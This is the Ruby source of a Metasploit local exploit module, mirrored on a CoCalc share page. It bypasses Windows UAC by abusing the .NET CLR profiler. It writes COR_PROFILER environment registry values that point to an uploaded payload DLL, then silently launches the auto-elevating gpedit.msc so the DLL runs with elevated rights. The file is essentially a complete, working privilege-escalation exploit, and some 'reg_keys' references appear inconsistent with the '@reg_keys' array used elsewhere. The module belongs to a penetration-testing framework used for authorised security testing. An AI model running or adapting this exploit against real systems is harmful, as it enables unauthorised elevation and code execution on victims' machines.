CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include Post::Windows::Priv
12
include Post::Windows::Runas
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
19
'Description' => %q{
20
Microsoft Windows allows for the automatic loading of a profiling COM object during
21
the launch of a CLR process based on certain environment variables ostensibly to
22
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL
23
that will be launched as the profiling thread. This thread will run at the permission
24
level of the calling process, so an auto-elevating process will launch the DLL with
25
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR
26
process, but others would work, too.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Casey Smith', # UAC bypass discovery and research
31
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
32
'bwatters-r7', # Module
33
],
34
'Platform' => ['win'],
35
'SessionTypes' => ['meterpreter'],
36
'Targets' => [
37
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
38
],
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'SideEffects' => [ARTIFACTS_ON_DISK],
43
'Reliability' => []
44
},
45
'References' => [
46
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
47
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
48
],
49
'DisclosureDate' => '2017-03-17',
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_sys_config_getenv
54
stdapi_sys_process_execute
55
]
56
}
57
}
58
)
59
)
60
register_options(
61
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
62
)
63
end
64
65
def check
66
if is_uac_enabled?
67
Exploit::CheckCode::Appears
68
else
69
Exploit::CheckCode::Safe
70
end
71
end
72
73
def write_reg_value(registry_hash)
74
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
75
begin
76
if !registry_key_exist?(registry_hash[:key_name])
77
registry_createkey(registry_hash[:key_name])
78
registry_hash[:delete_on_cleanup] = true
79
else
80
registry_hash[:delete_on_cleanup] = false
81
end
82
registry_setvaldata(registry_hash[:key_name], \
83
registry_hash[:value_name], \
84
registry_hash[:value_value], \
85
registry_hash[:value_type])
86
rescue Rex::Post::Meterpreter::RequestError => e
87
print_error(e.to_s)
88
end
89
end
90
91
def remove_reg_value(registry_hash)
92
# we may have already deleted the key
93
return unless registry_key_exist?(registry_hash[:key_name])
94
95
begin
96
if registry_hash[:delete_on_cleanup]
97
vprint_status("Deleting #{registry_hash[:key_name]} key")
98
registry_deletekey(registry_hash[:key_name])
99
else
100
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
101
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
102
end
103
rescue Rex::Post::Meterpreter::RequestError => e
104
print_bad('Unable to clean up registry')
105
print_error(e.to_s)
106
end
107
end
108
109
def exploit
110
@reg_keys = []
111
check_permissions!
112
case get_uac_level
113
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
114
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
115
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
116
fail_with(Failure::NotVulnerable,
117
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
118
when UAC_DEFAULT
119
print_good('UAC is set to Default')
120
print_good('BypassUAC can bypass this setting, continuing...')
121
when UAC_NO_PROMPT
122
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
123
shell_execute_exe
124
return
125
end
126
127
# get directory locations straight
128
win_dir = session.sys.config.getenv('windir')
129
vprint_status('win_dir = ' + win_dir)
130
tmp_dir = session.sys.config.getenv('tmp')
131
vprint_status('tmp_dir = ' + tmp_dir)
132
exploit_dir = win_dir + '\\System32\\'
133
vprint_status('exploit_dir = ' + exploit_dir)
134
target_filepath = exploit_dir + 'gpedit.msc'
135
vprint_status('target_filepath = ' + target_filepath)
136
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll'
137
payload_pathname = tmp_dir + '\\' + payload_name
138
139
# make payload
140
vprint_status('Making Payload')
141
vprint_status('payload_pathname = ' + payload_pathname)
142
payload = generate_payload_dll
143
144
uuid = SecureRandom.uuid
145
vprint_status("UUID = #{uuid}")
146
# This reg key will not hurt anything in windows 10+, but is not required.
147
version = get_version_info
148
unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
149
@reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
150
value_name: '',
151
value_type: 'REG_EXPAND_SZ',
152
value_value: payload_pathname,
153
delete_on_cleanup: false)
154
end
155
reg_keys.push(key_name: "HKCU\\Environment",
156
value_name: 'COR_PROFILER',
157
value_type: 'REG_SZ',
158
value_value: "{#{uuid}}",
159
delete_on_cleanup: false)
160
reg_keys.push(key_name: "HKCU\\Environment",
161
value_name: 'COR_ENABLE_PROFILING',
162
value_type: 'REG_SZ',
163
value_value: '1',
164
delete_on_cleanup: false)
165
reg_keys.push(key_name: "HKCU\\Environment",
166
value_name: 'COR_PROFILER_PATH',
167
value_type: 'REG_SZ',
168
value_value: payload_pathname,
169
delete_on_cleanup: false)
170
@reg_keys.each do |key_hash|
171
write_reg_value(key_hash)
172
end
173
174
# Upload payload
175
vprint_status("Uploading Payload to #{payload_pathname}")
176
write_file(payload_pathname, payload)
177
vprint_status('Payload Upload Complete')
178
179
vprint_status('Launching ' + target_filepath)
180
begin
181
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
182
rescue Rex::Post::Meterpreter::RequestError => e
183
print_error(e.to_s)
184
end
185
print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
186
print_status('Please wait for session and cleanup....')
187
end
188
189
def cleanup
190
if @reg_keys.present?
191
vprint_status('Removing Registry Changes')
192
@reg_keys.each do |key_hash|
193
remove_reg_value(key_hash)
194
end
195
vprint_status('Registry Changes Removed')
196
end
197
end
198
199
def check_permissions!
200
unless check == Exploit::CheckCode::Appears
201
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
202
end
203
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
204
# Check if you are an admin
205
# is_in_admin_group can be nil, true, or false
206
print_status('UAC is Enabled, checking level...')
207
vprint_status('Checking admin status...')
208
admin_group = is_in_admin_group?
209
if admin_group.nil?
210
print_error('Either whoami is not there or failed to execute')
211
print_error('Continuing under assumption you already checked...')
212
elsif admin_group
213
print_good('Part of Administrators group! Continuing...')
214
else
215
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
216
end
217
218
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
219
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
220
end
221
end
222
end
223
224